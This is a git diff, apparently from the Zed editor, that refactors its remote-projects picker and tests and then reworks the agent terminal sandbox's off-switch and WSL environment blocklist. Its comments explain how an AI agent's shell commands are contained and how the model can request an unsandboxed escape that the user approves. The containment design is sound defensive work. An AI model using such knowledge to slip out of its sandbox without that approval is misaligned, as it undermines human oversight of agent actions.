-        let modal_section = modal_section;
-
-        let mut modal_section = Navigable::new(
-            modal_section
-                .child(
-                    List::new()
-                        .empty_message(
-                            h_flex()
-                                .size_full()
-                                .p_2()
-                                .justify_center()
-                                .border_t_1()
-                                .border_color(cx.theme().colors().border_variant)
-                                .child(
-                                    Label::new(if query.is_empty() {
-                                        "No remote servers registered yet."
-                                    } else {
-                                        "No matching remote projects."
-                                    })
-                                    .color(Color::Muted),
-                                )
-                                .into_any_element(),
-                        )
-                        .children(visible_servers.iter().enumerate().map(|(ix, visible)| {
-                            let show_top_separator = ix > 0 || query.is_empty();
-                            self.render_remote_connection(
-                                ix,
-                                visible,
-                                show_top_separator,
-                                window,
-                                cx,
-                            )
-                            .into_any_element()
-                        })),
-                )
-                .into_any_element(),
-        )
-        .entry(state.add_new_server.clone());
-
-        if has_open_project && is_local {
-            modal_section = modal_section.entry(state.add_new_devcontainer.clone());
-        }
-
-        if cfg!(target_os = "windows") {
-            modal_section = modal_section.entry(state.add_new_wsl.clone());
-        }
-
-        for visible in &visible_servers {
-            for project in &visible.visible_projects {
-                modal_section = modal_section.entry(project.entry.navigation.clone());
-            }
-            match visible.server {
-                RemoteEntry::Project {
-                    open_folder,
-                    configure,
-                    ..
-                } => {
-                    modal_section = modal_section
-                        .entry(open_folder.clone())
-                        .entry(configure.clone());
-                }
-                RemoteEntry::SshConfig { open_folder, .. } => {
-                    modal_section = modal_section.entry(open_folder.clone());
-                }
-            }
-        }
-        let mut modal_section = modal_section.render(window, cx).into_any_element();
-
-        let is_project_selected = visible_servers.iter().any(|visible| {
-            visible.visible_projects.iter().any(|project| {
-                project
-                    .entry
-                    .navigation
-                    .focus_handle
-                    .contains_focused(window, cx)
-            })
-        });
-
-        let filter_editor = self.filter_editor.clone();
-
-        Modal::new("remote-projects", None)
-            .header(ModalHeader::new().headline("Remote Projects"))
-            .section(
-                Section::new().padded(false).child(
-                    v_flex()
-                        .min_h(rems(20.))
-                        .size_full()
-                        .relative()
-                        .child(div().px_2().py_1().child(filter_editor))
-                        .child(ListSeparator)
-                        .child(
-                            canvas(
-                                |bounds, window, cx| {
-                                    modal_section.prepaint_as_root(
-                                        bounds.origin,
-                                        bounds.size.into(),
-                                        window,
-                                        cx,
-                                    );
-                                    modal_section
-                                },
-                                |_, mut modal_section, window, cx| {
-                                    modal_section.paint(window, cx);
-                                },
-                            )
-                            .size_full(),
-                        )
-                        .custom_scrollbars(
-                            Scrollbars::always_visible(ScrollAxes::Vertical)
-                                .tracked_scroll_handle(&state.scroll_handle),
-                            window,
-                            cx,
-                        ),
-                ),
-            )
-            .footer(ModalFooter::new().end_slot({
-                let confirm_button = |label: SharedString| {
-                    Button::new("select", label)
-                        .key_binding(KeyBinding::for_action(&menu::Confirm, cx))
-                        .on_click(|_, window, cx| {
-                            window.dispatch_action(menu::Confirm.boxed_clone(), cx)
-                        })
-                };
-
-                if is_project_selected {
-                    h_flex()
-                        .gap_1()
-                        .child(
-                            Button::new("open_new_window", "New Window")
-                                .key_binding(KeyBinding::for_action(&menu::SecondaryConfirm, cx))
-                                .on_click(|_, window, cx| {
-                                    window.dispatch_action(menu::SecondaryConfirm.boxed_clone(), cx)
-                                }),
-                        )
-                        .child(confirm_button("Open".into()))
-                        .into_any_element()
-                } else {
-                    confirm_button("Select".into()).into_any_element()
-                }
-            }))
+            .child(self.default_picker.clone())
             .into_any_element()
     }
 
@@ -3187,6 +3050,15 @@ fn spawn_ssh_config_watch(fs: Arc<dyn Fs>, cx: &Context<RemoteServerProjects>) -
                         .chain(user_hosts.iter())
                         .map(SharedString::from)
                         .collect();
+                    let ssh_config_servers = project.ssh_config_servers.clone();
+                    let (has_open_project, is_local) =
+                        RemoteServerProjects::workspace_flags(&project.workspace, cx);
+                    project.default_picker.update(cx, |picker, cx| {
+                        picker
+                            .delegate
+                            .reload(&ssh_config_servers, has_open_project, is_local, cx);
+                        cx.notify();
+                    });
                     cx.notify();
                 })
                 .is_err()
@@ -3214,7 +3086,7 @@ impl ModalView for RemoteServerProjects {
 impl Focusable for RemoteServerProjects {
     fn focus_handle(&self, cx: &App) -> FocusHandle {
         match &self.mode {
-            Mode::Default(_) => self.filter_editor.focus_handle(cx),
+            Mode::Default => self.default_picker.focus_handle(cx),
             Mode::ProjectPicker(picker) => picker.focus_handle(cx),
             _ => self.focus_handle.clone(),
         }
@@ -3235,14 +3107,12 @@ impl Render for RemoteServerProjects {
                 this.focus_handle(cx).focus(window, cx);
             }))
             .on_mouse_down_out(cx.listener(|this, _, _, cx| {
-                if matches!(this.mode, Mode::Default(_)) {
+                if matches!(this.mode, Mode::Default) {
                     cx.emit(DismissEvent)
                 }
             }))
             .child(match &self.mode {
-                Mode::Default(state) => self
-                    .render_default(state.clone(), window, cx)
-                    .into_any_element(),
+                Mode::Default => self.render_default(window, cx).into_any_element(),
                 Mode::ViewServerOptions(state) => self
                     .render_view_options(state.clone(), window, cx)
                     .into_any_element(),
@@ -3268,49 +3138,34 @@ impl Render for RemoteServerProjects {
 mod filter_tests {
     use super::*;
 
-    fn ssh_config_entry(cx: &App, handle: &ScrollHandle, host: &'static str) -> RemoteEntry {
+    fn ssh_config_entry(host: &'static str) -> RemoteEntry {
         RemoteEntry::SshConfig {
-            open_folder: NavigableEntry::new(handle, cx),
             host: SharedString::from(host),
         }
     }
 
-    #[gpui::test]
-    async fn test_filter_sync_repopulates_after_rebuild(cx: &mut gpui::TestAppContext) {
-        cx.update(|cx| {
-            let handle = ScrollHandle::new();
-            let entries = vec![
-                ssh_config_entry(cx, &handle, "alpha"),
-                ssh_config_entry(cx, &handle, "beta"),
-            ];
-            let mut state = DefaultState {
-                scroll_handle: handle.clone(),
-                add_new_server: NavigableEntry::new(&handle, cx),
-                add_new_devcontainer: NavigableEntry::new(&handle, cx),
-                add_new_wsl: NavigableEntry::new(&handle, cx),
-                filter_data: Arc::new(FilterData::build(&entries)),
-                servers: entries,
-                filtered_servers: None,
-            };
+    #[test]
+    fn test_filter_sync_repopulates_after_rebuild() {
+        let entries = vec![ssh_config_entry("alpha"), ssh_config_entry("beta")];
+        let mut state = DefaultState {
+            filter_data: Arc::new(FilterData::build(&entries)),
+            servers: entries,
+            filtered_servers: None,
+        };
 
-            state.filter_sync("alp");
-            let filtered = state.filtered_servers.as_ref().expect("should filter");
-            assert_eq!(filtered.len(), 1);
-            assert_eq!(filtered[0].server_index, 0);
-            assert!(!filtered[0].host_positions.is_empty());
-
-            // visible_servers should resolve the filtered indices back into
-            // the original `RemoteEntry`s with positions attached.
-            let visible = state.visible_servers();
-            assert_eq!(visible.len(), 1);
-            match visible[0].server {
-                RemoteEntry::SshConfig { host, .. } => assert_eq!(host.as_ref(), "alpha"),
-                _ => panic!("expected SshConfig"),
-            }
-            assert!(!visible[0].host_positions.is_empty());
+        state.filter_sync("alp");
+        let filtered = state.filtered_servers.as_ref().expect("should filter");
+        assert_eq!(filtered.len(), 1);
+        assert_eq!(filtered[0].server_index, 0);
+        assert!(!filtered[0].host_positions.is_empty());
 
-            state.filter_sync("");
-            assert!(state.filtered_servers.is_none());
-        });
+        // The filtered index resolves back into the original server list.
+        match &state.servers[filtered[0].server_index] {
+            RemoteEntry::SshConfig { host, .. } => assert_eq!(host.as_ref(), "alpha"),
+            _ => panic!("expected SshConfig"),
+        }
+
+        state.filter_sync("");
+        assert!(state.filtered_servers.is_none());
     }
 }
diff --git a/crates/recent_projects/src/remote_servers/filter.rs b/crates/recent_projects/src/remote_servers/filter.rs
index 4e5ae9cc8dc1c5..4472594292b503 100644
--- a/crates/recent_projects/src/remote_servers/filter.rs
+++ b/crates/recent_projects/src/remote_servers/filter.rs
@@ -245,9 +245,8 @@ mod tests {
     use super::*;
     use crate::remote_connections::{Connection, SshConnection};
     use crate::remote_servers::{ProjectEntry, ServerIndex, SshServerIndex};
-    use gpui::{App, ScrollHandle};
     use settings::RemoteProject;
-    use ui::{NavigableEntry, SharedString};
+    use ui::SharedString;
 
     struct MockServer {
         host: &'static str,
@@ -275,13 +274,12 @@ mod tests {
         }
     }
 
-    fn build_entries(cx: &App, handle: &ScrollHandle, servers: &[MockServer]) -> Vec<RemoteEntry> {
+    fn build_entries(servers: &[MockServer]) -> Vec<RemoteEntry> {
         servers
             .iter()
             .map(|server| {
                 if server.project_paths.is_empty() {
                     RemoteEntry::SshConfig {
-                        open_folder: NavigableEntry::new(handle, cx),
                         host: SharedString::from(server.host),
                     }
                 } else {
@@ -289,7 +287,6 @@ mod tests {
                         .project_paths
                         .iter()
                         .map(|path| ProjectEntry {
-                            navigation: NavigableEntry::new(handle, cx),
                             project: RemoteProject {
                                 paths: vec![(*path).to_string()],
                             },
@@ -308,9 +305,7 @@ mod tests {
                         ..Default::default()
                     });
                     RemoteEntry::Project {
-                        open_folder: NavigableEntry::new(handle, cx),
                         projects,
-                        configure: NavigableEntry::new(handle, cx),
                         connection,
                         index: ServerIndex::Ssh(SshServerIndex(0)),
                     }
@@ -320,197 +315,172 @@ mod tests {
     }
 
     fn with_filter_data<R>(
-        cx: &App,
         servers: &[MockServer],
         f: impl FnOnce(&[MockServer], &FilterData) -> R,
     ) -> R {
-        let handle = ScrollHandle::new();
-        let entries = build_entries(cx, &handle, servers);
+        let entries = build_entries(servers);
         let data = FilterData::build(&entries);
         f(servers, &data)
     }
 
-    #[gpui::test]
-    async fn test_filter_host_only(cx: &mut gpui::TestAppContext) {
-        cx.update(|cx| {
-            with_filter_data(cx, &[mock("myhost", &[])], |_, data| {
-                let results = run_sync(data, "myh");
-                assert_eq!(results.len(), 1);
-                assert_eq!(results[0].server_index, 0);
-                assert!(!results[0].host_positions.is_empty());
-            });
+    #[test]
+    fn test_filter_host_only() {
+        with_filter_data(&[mock("myhost", &[])], |_, data| {
+            let results = run_sync(data, "myh");
+            assert_eq!(results.len(), 1);
+            assert_eq!(results[0].server_index, 0);
+            assert!(!results[0].host_positions.is_empty());
         });
     }
 
-    #[gpui::test]
-    async fn test_filter_no_match(cx: &mut gpui::TestAppContext) {
-        cx.update(|cx| {
-            with_filter_data(cx, &[mock("myhost", &["/home/project"])], |_, data| {
-                let results = run_sync(data, "zzz");
-                assert!(results.is_empty());
-            });
+    #[test]
+    fn test_filter_no_match() {
+        with_filter_data(&[mock("myhost", &["/home/project"])], |_, data| {
+            let results = run_sync(data, "zzz");
+            assert!(results.is_empty());
         });
     }
 
-    #[gpui::test]
-    async fn test_filter_project_path_match(cx: &mut gpui::TestAppContext) {
-        cx.update(|cx| {
-            with_filter_data(cx, &[mock("myhost", &["/home/user/project"])], |_, data| {
-                let results = run_sync(data, "project");
-                assert_eq!(results.len(), 1);
-                assert_eq!(results[0].project_matches.len(), 1);
-                assert_eq!(results[0].project_matches[0].project_index, 0);
-            });
+    #[test]
+    fn test_filter_project_path_match() {
+        with_filter_data(&[mock("myhost", &["/home/user/project"])], |_, data| {
+            let results = run_sync(data, "project");
+            assert_eq!(results.len(), 1);
+            assert_eq!(results[0].project_matches.len(), 1);
+            assert_eq!(results[0].project_matches[0].project_index, 0);
         });
     }
 
-    #[gpui::test]
-    async fn test_filter_host_match_includes_all_projects(cx: &mut gpui::TestAppContext) {
-        cx.update(|cx| {
-            with_filter_data(cx, &[mock("myhost", &["/path/a", "/path/b"])], |_, data| {
-                let results = run_sync(data, "myhost");
-                assert_eq!(results.len(), 1);
-                assert_eq!(results[0].project_matches.len(), 2);
-            });
+    #[test]
+    fn test_filter_host_match_includes_all_projects() {
+        with_filter_data(&[mock("myhost", &["/path/a", "/path/b"])], |_, data| {
+            let results = run_sync(data, "myhost");
+            assert_eq!(results.len(), 1);
+            assert_eq!(results[0].project_matches.len(), 2);
         });
     }
 
-    #[gpui::test]
-    async fn test_filter_excludes_non_matching_servers(cx: &mut gpui::TestAppContext) {
-        cx.update(|cx| {
-            with_filter_data(
-                cx,
-                &[mock("alpha", &["/path/a"]), mock("beta", &["/path/b"])],
-                |_, data| {
-                    let results = run_sync(data, "alpha");
-                    assert_eq!(results.len(), 1);
-                    assert_eq!(results[0].server_index, 0);
-                },
-            );
-        });
+    #[test]
+    fn test_filter_excludes_non_matching_servers() {
+        with_filter_data(
+            &[mock("alpha", &["/path/a"]), mock("beta", &["/path/b"])],
+            |_, data| {
+                let results = run_sync(data, "alpha");
+                assert_eq!(results.len(), 1);
+                assert_eq!(results[0].server_index, 0);
+            },
+        );
     }
 
-    #[gpui::test]
-    async fn test_position_mapping_splits_host_and_path(cx: &mut gpui::TestAppContext) {
-        cx.update(|cx| {
-            with_filter_data(cx, &[mock("dev", &["/src/app"])], |servers, data| {
-                let results = run_sync(data, "dev app");
-
-                assert_eq!(results.len(), 1);
-                let result = &results[0];
-                let host = servers[result.server_index].host;
-                let path = servers[result.server_index].project_paths[0];
-
-                assert!(
-                    result.host_positions.iter().all(|&p| p < host.len()),
-                    "host positions {:?} must be within host {:?} (len {})",
-                    result.host_positions,
-                    host,
-                    host.len(),
-                );
+    #[test]
+    fn test_position_mapping_splits_host_and_path() {
+        with_filter_data(&[mock("dev", &["/src/app"])], |servers, data| {
+            let results = run_sync(data, "dev app");
+
+            assert_eq!(results.len(), 1);
+            let result = &results[0];
+            let host = servers[result.server_index].host;
+            let path = servers[result.server_index].project_paths[0];
+
+            assert!(
+                result.host_positions.iter().all(|&p| p < host.len()),
+                "host positions {:?} must be within host {:?} (len {})",
+                result.host_positions,
+                host,
+                host.len(),
+            );
 
-                assert_eq!(result.project_matches.len(), 1);
-                let proj = &result.project_matches[0];
-                assert_eq!(proj.project_index, 0);
-                assert!(
-                    proj.path_positions.iter().all(|&p| p < path.len()),
-                    "path positions {:?} must be within path {:?} (len {})",
-                    proj.path_positions,
-                    path,
-                    path.len(),
-                );
+            assert_eq!(result.project_matches.len(), 1);
+            let proj = &result.project_matches[0];
+            assert_eq!(proj.project_index, 0);
+            assert!(
+                proj.path_positions.iter().all(|&p| p < path.len()),
+                "path positions {:?} must be within path {:?} (len {})",
+                proj.path_positions,
+                path,
+                path.len(),
+            );
 
-                assert!(
-                    !result.host_positions.is_empty(),
-                    "query 'dev' should match host 'dev'"
-                );
-                assert!(
-                    !proj.path_positions.is_empty(),
-                    "query 'app' should match path '/src/app'"
-                );
-            });
+            assert!(
+                !result.host_positions.is_empty(),
+                "query 'dev' should match host 'dev'"
+            );
+            assert!(
+                !proj.path_positions.is_empty(),
+                "query 'app' should match path '/src/app'"
+            );
         });
     }
 
-    #[gpui::test]
-    async fn test_position_mapping_host_only_server(cx: &mut gpui::TestAppContext) {
-        cx.update(|cx| {
-            with_filter_data(cx, &[mock("myhost", &[])], |servers, data| {
-                let results = run_sync(data, "myh");
-                assert_eq!(results.len(), 1);
-                let host = servers[0].host;
-                assert!(
-                    results[0].host_positions.iter().all(|&p| p < host.len()),
-                    "host positions {:?} out of bounds for {:?}",
-                    results[0].host_positions,
-                    host,
-                );
-                assert!(results[0].project_matches.is_empty());
-            });
+    #[test]
+    fn test_position_mapping_host_only_server() {
+        with_filter_data(&[mock("myhost", &[])], |servers, data| {
+            let results = run_sync(data, "myh");
+            assert_eq!(results.len(), 1);
+            let host = servers[0].host;
+            assert!(
+                results[0].host_positions.iter().all(|&p| p < host.len()),
+                "host positions {:?} out of bounds for {:?}",
+                results[0].host_positions,
+                host,
+            );
+            assert!(results[0].project_matches.is_empty());
         });
     }
 
-    #[gpui::test]
-    async fn test_unicode_host_and_path_positions(cx: &mut gpui::TestAppContext) {
-        cx.update(|cx| {
-            with_filter_data(cx, &[mock("señor", &["/código/app"])], |servers, data| {
-                let results = run_sync(data, "señ app");
-                assert_eq!(results.len(), 1);
-                let result = &results[0];
-                let host = servers[0].host;
-                let path = servers[0].project_paths[0];
-
-                assert!(
-                    result
-                        .host_positions
-                        .iter()
-                        .all(|&p| p < host.len() && host.is_char_boundary(p)),
-                    "host positions {:?} must be valid char boundaries in {:?}",
-                    result.host_positions,
-                    host,
-                );
+    #[test]
+    fn test_unicode_host_and_path_positions() {
+        with_filter_data(&[mock("señor", &["/código/app"])], |servers, data| {
+            let results = run_sync(data, "señ app");
+            assert_eq!(results.len(), 1);
+            let result = &results[0];
+            let host = servers[0].host;
+            let path = servers[0].project_paths[0];
+
+            assert!(
+                result
+                    .host_positions
+                    .iter()
+                    .all(|&p| p < host.len() && host.is_char_boundary(p)),
+                "host positions {:?} must be valid char boundaries in {:?}",
+                result.host_positions,
+                host,
+            );
 
-                assert_eq!(result.project_matches.len(), 1);
-                let proj = &result.project_matches[0];
-                assert!(
-                    proj.path_positions
-                        .iter()
-                        .all(|&p| p < path.len() && path.is_char_boundary(p)),
-                    "path positions {:?} must be valid char boundaries in {:?}",
-                    proj.path_positions,
-                    path,
-                );
-            });
+            assert_eq!(result.project_matches.len(), 1);
+            let proj = &result.project_matches[0];
+            assert!(
+                proj.path_positions
+                    .iter()
+                    .all(|&p| p < path.len() && path.is_char_boundary(p)),
+                "path positions {:?} must be valid char boundaries in {:?}",
+                proj.path_positions,
+                path,
+            );
         });
     }
 
-    #[gpui::test]
-    async fn test_filter_data_build_from_real_entries(cx: &mut gpui::TestAppContext) {
-        cx.update(|cx| {
-            with_filter_data(cx, &[mock("alpha", &[]), mock("beta", &[])], |_, data| {
-                assert_eq!(data.server_count, 2);
-                assert_eq!(data.candidates.len(), 2);
-                assert_eq!(data.candidates[0].string, "alpha");
-                assert_eq!(data.candidates[1].string, "beta");
-
-                let results = run_sync(data, "alp");
-                assert_eq!(results.len(), 1);
-                assert_eq!(results[0].server_index, 0);
-                assert!(!results[0].host_positions.is_empty());
-
-                let empty = run_sync(data, "zzz");
-                assert!(empty.is_empty());
-            });
+    #[test]
+    fn test_filter_data_build_from_real_entries() {
+        with_filter_data(&[mock("alpha", &[]), mock("beta", &[])], |_, data| {
+            assert_eq!(data.server_count, 2);
+            assert_eq!(data.candidates.len(), 2);
+            assert_eq!(data.candidates[0].string, "alpha");
+            assert_eq!(data.candidates[1].string, "beta");
+
+            let results = run_sync(data, "alp");
+            assert_eq!(results.len(), 1);
+            assert_eq!(results[0].server_index, 0);
+            assert!(!results[0].host_positions.is_empty());
+
+            let empty = run_sync(data, "zzz");
+            assert!(empty.is_empty());
         });
     }
 
     #[gpui::test]
     async fn test_run_async_returns_none_when_cancelled(cx: &mut gpui::TestAppContext) {
-        let data = cx.update(|cx| {
-            let handle = ScrollHandle::new();
-            let entries = build_entries(cx, &handle, &[mock("alpha", &[])]);
-            FilterData::build(&entries)
-        });
+        let data = FilterData::build(&build_entries(&[mock("alpha", &[])]));
         let cancel = AtomicBool::new(true);
         let executor = cx.background_executor.clone();
         let result = run_async(&data, "alpha", &cancel, executor).await;
@@ -522,11 +492,7 @@ mod tests {
 
     #[gpui::test]
     async fn test_run_async_returns_results_when_not_cancelled(cx: &mut gpui::TestAppContext) {
-        let data = cx.update(|cx| {
-            let handle = ScrollHandle::new();
-            let entries = build_entries(cx, &handle, &[mock("alpha", &["/home/project"])]);
-            FilterData::build(&entries)
-        });
+        let data = FilterData::build(&build_entries(&[mock("alpha", &["/home/project"])]));
         let cancel = AtomicBool::new(false);
         let executor = cx.background_executor.clone();
         let results = run_async(&data, "alpha", &cancel, executor)
@@ -537,70 +503,66 @@ mod tests {
         assert!(!results[0].host_positions.is_empty());
     }
 
-    #[gpui::test]
-    async fn test_filter_matches_nickname_and_host(cx: &mut gpui::TestAppContext) {
-        cx.update(|cx| {
-            let servers = [mock_with_nickname("10.0.0.5", "prod", &["/srv/app"])];
-            with_filter_data(cx, &servers, |servers, data| {
-                let nickname = servers[0].nickname.expect("server has a nickname");
-
-                let by_nickname = run_sync(data, "prod");
-                assert_eq!(by_nickname.len(), 1, "nickname should match");
-                assert!(
-                    !by_nickname[0].host_positions.is_empty(),
-                    "matching the nickname should highlight it"
-                );
-                assert!(
-                    by_nickname[0]
-                        .host_positions
-                        .iter()
-                        .all(|&p| p < nickname.len()),
-                    "host positions {:?} must stay within the displayed nickname {:?}",
-                    by_nickname[0].host_positions,
-                    nickname,
-                );
+    #[test]
+    fn test_filter_matches_nickname_and_host() {
+        let servers = [mock_with_nickname("10.0.0.5", "prod", &["/srv/app"])];
+        with_filter_data(&servers, |servers, data| {
+            let nickname = servers[0].nickname.expect("server has a nickname");
+
+            let by_nickname = run_sync(data, "prod");
+            assert_eq!(by_nickname.len(), 1, "nickname should match");
+            assert!(
+                !by_nickname[0].host_positions.is_empty(),
+                "matching the nickname should highlight it"
+            );
+            assert!(
+                by_nickname[0]
+                    .host_positions
+                    .iter()
+                    .all(|&p| p < nickname.len()),
+                "host positions {:?} must stay within the displayed nickname {:?}",
+                by_nickname[0].host_positions,
+                nickname,
+            );
 
-                let by_host = run_sync(data, "10.0");
-                assert_eq!(by_host.len(), 1, "real host should remain searchable");
-                assert!(
-                    by_host[0].host_positions.is_empty(),
-                    "alias-only matches are searchable but not highlighted, got {:?}",
-                    by_host[0].host_positions,
-                );
-            });
+            let by_host = run_sync(data, "10.0");
+            assert_eq!(by_host.len(), 1, "real host should remain searchable");
+            assert!(
+                by_host[0].host_positions.is_empty(),
+                "alias-only matches are searchable but not highlighted, got {:?}",
+                by_host[0].host_positions,
+            );
         });
     }
 
-    #[gpui::test]
-    async fn test_projects_ordered_by_match_score(cx: &mut gpui::TestAppContext) {
-        cx.update(|cx| {
-            with_filter_data(cx, &[mock("srv", &["/a", "/b"])], |_, data| {
-                // candidate 0 -> project 0, candidate 1 -> project 1; feed them
-                // in descending-score order as `match_strings` would, then check
-                // the regrouping keeps the higher-scored project first.
-                let matches = vec![
-                    StringMatch {
-                        candidate_id: 1,
-                        score: 0.9,
-                        positions: Vec::new(),
-                        string: SharedString::default(),
-                    },
-                    StringMatch {
-                        candidate_id: 0,
-                        score: 0.5,
-                        positions: Vec::new(),
-                        string: SharedString::default(),
-                    },
-                ];
-                let results = build_filter_results(matches, data);
-                assert_eq!(results.len(), 1);
-                let project_indices: Vec<_> = results[0]
-                    .project_matches
-                    .iter()
-                    .map(|p| p.project_index)
-                    .collect();
-                assert_eq!(project_indices, vec![1, 0]);
-            });
+    #[test]
+    fn test_projects_ordered_by_match_score() {
+        with_filter_data(&[mock("srv", &["/a", "/b"])], |_, data| {
+            // candidate 0 -> project 0, candidate 1 -> project 1; feed them
+            // in descending-score order as `match_strings` would, then check
+            // the regrouping keeps the higher-scored project first.
+            let matches = vec![
+                StringMatch {
+                    candidate_id: 1,
+                    score: 0.9,
+                    positions: Vec::new(),
+                    string: SharedString::default(),
+                },
+                StringMatch {
+                    candidate_id: 0,
+                    score: 0.5,
+                    positions: Vec::new(),
+                    string: SharedString::default(),
+                },
+            ];
+            let results = build_filter_results(matches, data);
+            assert_eq!(results.len(), 1);
+            let project_indices: Vec<_> = results[0]
+                .project_matches
+                .iter()
+                .map(|p| p.project_index)
+                .collect();
+            assert_eq!(project_indices, vec![1, 0]);
         });
     }
 }

From 037f32aef01043c3b8893cb6566e2f9b80d359b2 Mon Sep 17 00:00:00 2001
From: MartinYe1234 <52641447+MartinYe1234@users.noreply.github.com>
Date: Mon, 22 Jun 2026 14:14:30 -0700
Subject: [PATCH 044/772] Refine agent terminal sandbox off-switch and expand
 WSL env blocklist (#59520)

Follow-ups to the recently-landed agent terminal sandboxing work.

- Make the persistent "Allow Unsandboxed Terminal Commands" setting
(`allow_unsandboxed`) the single off-switch for the agent terminal
sandbox: when enabled, the sandboxed terminal tool isn't exposed and the
system prompt omits the sandbox section, so the model uses the plain
`terminal` tool (and on Windows, WSL sandbox setup is skipped). This
removes the dead, unwired `disabled` setting that was meant to do the
same thing but had no UI, writer, or docs. Per-command and per-thread
`unsandboxed: true` grants are unchanged.
- Expand the blocklist of Windows-specific environment variables that
aren't forwarded into the WSL sandbox (system locations, `HOME`/profile
paths, host/session identity, CPU descriptors, etc.) so they can't
shadow or break Linux commands. It stays a blocklist, so portable
variables like `LANG` still reach the command.

Release Notes:

- N/A
---
 crates/acp_thread/src/acp_thread.rs           |  34 +++++
 crates/acp_thread/src/terminal.rs             |   3 -
 crates/agent/src/sandboxing.rs                |  67 +++++++--
 crates/agent/src/tests/mod.rs                 |   2 +-
 crates/agent/src/thread.rs                    |   6 +-
 crates/agent/src/tools/terminal_tool.rs       |  83 +++++++----
 crates/agent_settings/src/agent_settings.rs   |  16 +--
 .../src/conversation_view/thread_view.rs      |  80 ++++-------
 crates/sandbox/src/windows_wsl.rs             | 129 ++++++++++++++++--
 crates/settings_content/src/agent.rs          |  19 +--
 .../settings_ui/src/pages/sandbox_settings.rs |  34 +----
 sandbox-bubblewrap-next-steps.md              |  83 -----------
 12 files changed, 308 insertions(+), 248 deletions(-)
 delete mode 100644 sandbox-bubblewrap-next-steps.md

diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index 5705b3e23cd984..0bf2f0e49fba47 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -3542,6 +3542,34 @@ impl AcpThread {
                         };
                         (task_command, task_args, sandbox_config, None)
                     } else {
+                        // No sandbox wrap means we're running unsandboxed, and
+                        // on Windows that deliberately changes the shell: the
+                        // sandboxed path runs under WSL's Linux bash, but this
+                        // fallback uses the host's `shell` (resolved above via
+                        // `get_default_system_shell_preferring_bash`) against
+                        // the native cwd. That resolution prefers Git Bash (or
+                        // scoop's bash), only dropping to the native Windows
+                        // shell (PowerShell/cmd) when no bash is installed — so
+                        // the interpreter usually stays bash-compatible, but its
+                        // path conventions differ from WSL's (e.g. `/c/...` or
+                        // native `C:\...` rather than `/mnt/c/...`). This is
+                        // unlike Linux/macOS, where the unsandboxed path (the
+                        // `#[cfg(not(target_os = "windows"))]` block below)
+                        // reuses the exact same shell and merely omits the bwrap
+                        // wrapper, so shell semantics are preserved untouched.
+                        //
+                        // The shell switch is intentional on Windows. The only
+                        // ways to reach this branch are: the model asking for
+                        // `unsandboxed: true` (often to run a Windows program),
+                        // the user choosing "run unsandboxed" after a sandbox-
+                        // creation failure, the `allow_unsandboxed` setting, or a
+                        // per-thread fallback grant. For the fallback cases the
+                        // command isn't one the model chose to run unsandboxed,
+                        // so the terminal tool's `sandbox_not_applied` note
+                        // warns it that the command ran without a sandbox *and*,
+                        // on Windows, that the shell and its path conventions
+                        // changed too (see `sandbox_note` in the terminal tool),
+                        // so it can adapt a command written for WSL.
                         let (task_command, task_args) =
                             ShellBuilder::new(&Shell::Program(shell), is_windows)
                                 .redirect_stdin_to_dev_null()
@@ -3549,6 +3577,12 @@ impl AcpThread {
                         (task_command, task_args, None, cwd.clone())
                     };
 
+                // On Linux/macOS the same shell (`/bin/sh`) is used whether or
+                // not we sandbox: `ShellBuilder` builds the command, and
+                // `apply_sandbox_wrap` either wraps it in bwrap (`Some`) or
+                // returns it untouched (`None`). Either way the interpreter is
+                // identical, so the unsandboxed fallback keeps shell semantics
+                // intact — unlike Windows, which falls back to the host shell.
                 #[cfg(not(target_os = "windows"))]
                 let (task_command, task_args, sandbox_config, spawn_cwd) = {
                     let (task_command, task_args) =
diff --git a/crates/acp_thread/src/terminal.rs b/crates/acp_thread/src/terminal.rs
index 1d491dbc627de0..d3e6a7bbfe43b1 100644
--- a/crates/acp_thread/src/terminal.rs
+++ b/crates/acp_thread/src/terminal.rs
@@ -178,9 +178,6 @@ impl SandboxWrap {
 /// grow their own failure cases later without a migration.
 #[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
 pub enum SandboxNotAppliedReason {
-    /// Unsandboxed execution is permanently allowed via the `allow_unsandboxed`
-    /// setting.
-    DisabledForever,
     /// The user allowed unsandboxed execution for the rest of this thread after
     /// an earlier sandbox failure. There is always a preceding tool call whose
     /// reason is [`SandboxNotAppliedReason::ErrorLinuxWsl`].
diff --git a/crates/agent/src/sandboxing.rs b/crates/agent/src/sandboxing.rs
index be32c552655fe1..2ea5dcf3e70f88 100644
--- a/crates/agent/src/sandboxing.rs
+++ b/crates/agent/src/sandboxing.rs
@@ -7,9 +7,15 @@
 //!
 //! The current policy is: enabled iff the user has the `sandboxing` feature
 //! flag turned on, the project is local, the platform has an integration, and
-//! the user has not turned sandboxing off entirely (the `disabled` sandbox
-//! setting; the `allow_unsandboxed` grant only auto-approves commands that
-//! explicitly request to run unsandboxed and doesn't turn the sandbox off).
+//! the user has not persistently allowed unsandboxed execution (the
+//! `allow_unsandboxed` sandbox setting). Setting `allow_unsandboxed`
+//! persistently turns sandboxing off for the model-facing surface entirely:
+//! the plain (non-sandboxed) `terminal` tool is exposed and the system prompt
+//! omits the sandbox section, since every command would run without a wrap
+//! anyway. The model-requested `unsandboxed: true` escape approved "once" or
+//! "for this thread" does NOT change the prompt/tool set — the sandboxed tool
+//! stays exposed and only the individual command runs without a wrap. See
+//! `sandboxing_enabled_for_project` and `ThreadSandboxGrants`.
 //!
 //! macOS (Seatbelt), Linux (Bubblewrap), and Windows (Bubblewrap via WSL)
 //! have real sandbox integrations; on platforms without one the per-command
@@ -34,10 +40,21 @@ pub(crate) fn sandboxing_enabled(cx: &App) -> bool {
 }
 
 /// Whether the sandboxed terminal can be exposed for this project.
+///
+/// The persistent `allow_unsandboxed` setting turns sandboxing off for the
+/// model-facing surface: when it's set we expose the plain `terminal` tool and
+/// omit the sandbox section from the system prompt, because every command would
+/// run without a wrap regardless. This is deliberately keyed off the
+/// *persistent* setting only. A model-requested `unsandboxed: true` escape that
+/// the user approves "once" or "for this thread" keeps the sandboxed tool and
+/// prompt in place, since the model is still operating in the sandbox model and
+/// only escaping individual commands (tracked in `ThreadSandboxGrants`).
 pub(crate) fn sandboxing_enabled_for_project(project: &Project, cx: &App) -> bool {
     sandboxing_enabled(cx)
         && project.is_local()
-        && !AgentSettings::get_global(cx).sandbox_permissions.disabled
